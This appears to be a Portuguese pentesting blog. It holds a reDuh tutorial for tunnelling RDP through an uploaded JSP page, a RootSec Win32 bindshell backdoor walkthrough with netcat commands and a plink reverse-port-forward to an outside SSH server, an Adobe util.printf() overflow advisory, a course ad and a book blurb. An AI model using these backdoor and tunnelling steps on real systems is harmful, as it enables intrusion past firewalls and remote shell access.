reDuh: TCP Tunnel through HTTP Requests

Muitas vezes, durante um pentest, são encontradas falhas em aplicações web que permitem que seja feito o upload de arquivos para o servidor web. Nesta hora, apesar da falha não proporcionar um acesso administrativo direto, ela fornece um canal muito rico em possibilidades. Uma destas possibilidades que iremos tratar hoje é reDuh criado pela SensePost para HTTP Tunneling e TCP redirects.

O reDuh é atualmente uma ferramenta que pode ser utilizada para criar circuitos TCP através de requisições HTTP validadas.

Por enquanto não foi divulgada nenhuma documentação completa a respeito da ferramenta e no próprio site eles dizem que estão elaborando um .ppt demonstrativo. Porém vamos citar um exemplo simples de utilização da ferramenta.

Vamos pensar no seguinte cenário:

Digamos que você consiga exploitar uma falha qualquer ou conseguiu acesso por meio de um usuário desprotegido a um FTP do servidor web, e consegue enviar e/ou criar uma página JSP no servidor remoto.

Este usuário permitiria acesso ao Terminal Service outros servidores que estão atrás deste servidor web, e você não pode efetuar uma conexào RDP porque o firewall bloqueia todas as conexões de Inbound que chegam para estes hosts e libera apenas a porta 80.

Então nesse momento entra em ação o reDuh. Você faz o upload do arquivo reDuh.jsp para o alvo, que poderia ser o http://web001.target.com/uploads/reDuh.jsp

Feito isto agora, é necessário utilizar o reDuhClient em sua máquina apontando ele para a pagina que você acabou de fazer upload:

$ java reDuhClient web001.target.com 80 /uploads/reDuh.jsp


Você pode administrar o reDuhClient conectando na porta de gerenciamente que ele ira subir (1010 por padrão).

Uma vez conectado na console de gerenciamento do reDuhClient digite:

[createTunnel]1234:term-serv.target.com:3389

O que isto faria:

a) reDuhClient irá iniciar um socket Listen na porta 1324 e enviará uma mensagem HTTP para /uploads/reDuh.jsp que irá então abrir um socket para term-serv.target.com:3389.

b) Qualquer tráfego enviado para a o localhost socket na porta 1234 será codificado, e compactado em requests HTTP e depois enviado para o script /uploads/reDuh.jsp.

c) Qualquer tráfego vindo do servidor term-serv.target.com:3389 para o jsp é adicionado em uma query e enviado de volta para o reDuhClient quando ele requisitar.

Agora basta você iniciar o RDP Cliente de sua preferência e apontar para localhost:1234

O sistema pode gerenciar multiplas conexões, então enquanto a sessão RDP está acontecendo, nós podemos usar o manager e requisitar outros tuneis.

Neste exemplo utilizamos JsP, porém o mesmo se aplicaria caso o servidor utilizasse PHP, ASP ou JSP.

Abaixo seguem os links para Download da Ferramenta:

Download reDuhClient (the local proxy) | Download reDuhu Server Pages (JSP/PHP/ASP)

Aqui também os slides da apresentação na BlackHat 2008 onde o pessoal utilizou o reDuh como exemplo na apresentaçào sobre TCP Redirections and Tunnels.

Espero que gostem.

Good Hacking 4 All.

Curso: Web Application Hacking 29/11

Pessoal, estou fechando uma turma agora dia 29/11. Convido a todos que tenham interesse de participar. Me enviem um email para maiores informações ou então acesssem a parte “Academy”.

Preço especial para quem citar este link.

Aguardo a todos.

Good Hacking 4 All.

Web Security Horror Stories

Nesta apresentação de Simon Wilison de 26 de Outubro veremos muitas vulnerabilidades em aplicações web famosas e diferentes formas de execução, assim como algumas referências históricas dessas falhas em grandes sites e corporações.

É um material bem interessante e com informações bem legais para quem está procurando algumas dicas para iniciar seus passos com estudos de Web Application Security.

RootSec Remote Win32 BindShell v1.0

O RootSecShell é uma backdoor para sistemas Win32 criada em C++ que pode ser utilizara para criar um canal de acesso em um servidor / estação Windows ( XP / 2000 / 2003 ) utilizando o protocolo TCP.

Ao executar o bindshell a mesma abre uma Listener na porta 8080/tcp aguardando pela conexão do cliente que irá inputar os comandos desejados que serão executados no prompt do sistema com as credenciais do usuário que executou o bindshell.

Ex:

$ nc win32.lab.net 8080
hostname

C:\WINDOWS\SYSTEM32>hostname
morrowinds
at

C:\WINDOWS\SYSTEM32>at
There are no entries in the list.
net user

C:\WINDOWS\SYSTEM32>net user

User accounts for \\MORROWINDS

——————————————————————————-
__vmware_user__ Administrator Suporte
ASPNET Guest HelpAssistant
SUPPORT_388945a0
The command completed successfully.


Como telnet envia caracter por caracter recomendo utilizar o netcat pois ele envia os dados do comando somente quando você da o Enter.

Download aqui: RootSec Win32 BindShell v.10

Uso para o Remote BindShell: Remote win32 BindShell v1.0 + plink = Reverse Port

1-) Rode o Bindshell na maquina destino,

2-) Rode o pelink

> plink.exe -ssh -l usuario -pw senha_usuario -R 2021:127.0.0.1:8080  http://www.servidorssh.com.br

No servidor SSH remoto:

$ nc 127.0.0.1 2021

Enjoy uma politica de saida mal configurada de Firewall.

Thanks: Gratz para o amigo Rodrigo  “Spo0ker” Montoro que deu a dica de uso do RootSec Bindshell com o plink.

Happy Hacking 4 All.

Adobe Acrobat util.printf() Stack Buffer Overflow

Adobe Reader is arguably the world’s most ubiquitous electronic document sharing application. The software can be used to view, search, digitally sign, verify, print, and collaborate on Adobe PDF files, and includes scripting functionality to allow for extended customization and extensibility.

Adobe Reader suffers from a stack buffer overflow when parsing specially crafted (invalid) PDF files. The vulnerability is caused due to a boundary error when parsing format strings containing a floating point specifier in the “util.printf()” JavaScript function. Successful exploitation of the vulnerability requires that users open a maliciously crafted PDF file thereby allowing attackers to gain access to vulnerable systems and assume the privileges of a user running Acrobat Reader. Adobe Reader version 9, which was released in June 2008, is not vulnerable to the reported problem.

4. Vulnerable packages

  • Adobe Reader 8.1.2
  • Acrobat 8.1.2

5. Non-vulnerable packages

  • Adobe Reader 9
  • Acrobat 9
  • Adobe Reader 8.1.3
  • Acrobat 8.1.3

Advisorie Completo aqui:

Exploit PoC aqui.

Book of Month: November

Hacker Disassembling Uncovered
Author: Kris Kaspersky
Publisher: A-List Publishing
Year: 2007
Pages: 550
Amazon’s book description: Going beyond the issues of analyzing and optimizing programs as well as creating the means of protecting information, this guide takes on the programming problem of how to go about disassembling a program with holes without its source code. Detailing hacking methods used to analyze programs using a debugger and disassembler such as virtual functions, local and global variables, branching, loops, objects and their hierarchy, and mathematical operators, this guide covers methods of fighting disassemblers, self-modifying code in operating systems, and executing code in the stack. Advanced disassembler topics such as optimizing compilers and movable code are discussed as well, and a CD-ROM that contains illustrations and the source codes for the programs is also included.